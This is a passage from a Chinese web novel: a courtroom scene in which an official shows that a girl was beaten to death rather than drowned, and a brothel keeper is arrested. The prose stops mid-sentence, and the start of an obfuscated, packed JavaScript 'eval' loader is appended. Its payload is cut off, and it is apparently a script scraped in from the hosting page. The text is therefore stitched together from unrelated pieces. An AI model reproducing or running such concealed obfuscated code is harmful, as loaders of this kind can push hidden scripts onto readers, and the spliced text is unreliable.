出来了区别,大叫道:“我知道了我知道了!那头淹死的肚内有吃下去的水,蹄子上也全都是挣扎时抓下来的泥沙!”
受他指引,其余人也反应了过来:“那头被抹脖子的伤口发黑,口鼻里根本就不会进水!”
而当众人目光再度落回阿锦身上之时,一切便一目了然。
源尚安在她身后垫了块布,小心翼翼地把人托了起来,手上包着丝帕轻轻掰开了口腔。
并没有水痕残留。
而这也让所有人看得清清楚楚,手臂脖颈上分明留有伤疤。
他尚未将尸首完全放平,孙七就替他叫了起来:“看见了吧,都看见了吧!我侄女她根本就不是自己跌下去的,她就是被刘采菱活生生虐待死的!”
啪!
孙夫人毫不客气地甩给他一掌。
“你还有脸和我说这样的话!”孙夫人悲愤至极,“当初是你找的那地方,你说你不知道那是个妓院?!”
谁成想事到关键还能有反转?围观者一时间面面相觑,都在暗自猜测隐情。
“还有你,”孙夫人不顾阻拦抓过刘采菱的衣襟,“你这个丧尽天良的东西,拿一帮小姑娘的身子赚钱,你、你必定永世不得超生!”
“孙娘子,人不能那么说话吧,”刘采菱反倒笑了起来,“我也是要吃饭的,我给她们吃给她们穿给她们住,我施了这么多恩,她们又不能下地干活,可总得还我的恩吧?做这档子事不就是个你情我愿,算不得下贱!”
“你……”
“夫人,你不要和她说这个。”
源尚安骤而打断对话,刘采菱还以为他站在自己一侧,正要借势发威却又被源尚安挡住:“我问你什么你再说什么。我没有问你,你不要开口。”
“大人……”
“你想说话可以,但你只许说一件事。你告诉所有人,阿锦身上的伤是怎么来的?”
心脏猛烈跳动,呼吸也随之急促,更可怕的是她感觉不到这惊慌的尽头。
“说不准小孩子淘气,她娘就——”
“胡说八道!”孙夫人含泪道,“那分明是朝死里打的!”
“哦,那也许就是玩的时候不小心……”
后半句话硬生生被她吞了下去,刘采菱抬头看见源尚安冷眼相对,驳斥道:“编好了再说!”
刘采菱一下子跌坐在地,嘴唇两颊苍白如纸,连带着身侧的孙七也跟着一抖。
可他受限于病体,声音明明不高,也不是那种大吼大叫、怒目圆睁的发威架势,却……
却叫做了亏心事的人莫名心惊胆战,不敢抬起头来。
刘采菱闭上了眼睛大口大口喘气,手也跟着不停抚摸心口。
他到底是什么人?
……他是什么人不重要,不能由着他继续查下去!否则大家都得跟着一起玩完。
刘采菱那双带着不甘和恼怒的眸子对上了刘县令的视线,后者却胆怯地低下了头。
赵兴没注意到这点细节,又开始煽风点火:“顾大人,太爷,事态已然明了,这留春坊苛待孙夫人的女儿,怕被发现后坏了名声,这才一不做二不休杀人灭口。”
潘县丞也想来掺合一脚:“太爷,此事得公正查办!还阿锦一个公道!”
刘县令猛猛吸了口气,啪地一拍惊堂木:“来人,将刘采菱带下去严加看管!听候发落!”
他话音刚落,围观群众便有人带头叫了声“好”。
善恶终有报,这符合民众心里最朴素的期待。
“留春坊涉嫌虐待其下舞妓,虽然本县允许开设青楼楚馆,但不允许肆意妄为,”刘县令又道,“来人呐,封住留春坊,本官要好好调查一番!期间不许任何人随意踏足!”
衙役精神抖擞领命:“是!”
等人走后,刘县令又吩咐给予孙夫人照顾和赔偿。
一场惩恶扬善的大戏已然接近尾声,这里所有当事人的诉求似乎都业已得到了回音。看戏的尽了兴,担忧仕途的缓了口气,讨回公道的眼见凶手被抓,可是……
刘县令笑眯眯道:“顾主簿,有劳了。”
“举手之劳罢了,不必放在心上。”
刘县令拱手道:“主簿此言差矣,本县地处偏僻,您也看到了,这些个仵作全都是摆设。若不是有您帮助,这案子还不知道要被他们的糊涂耽搁多久。”
他已然把仵作的罪说成了学艺不精造成的失误。
“刘大人——”
刘县令刻意盖过了源尚安的声音,喝道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e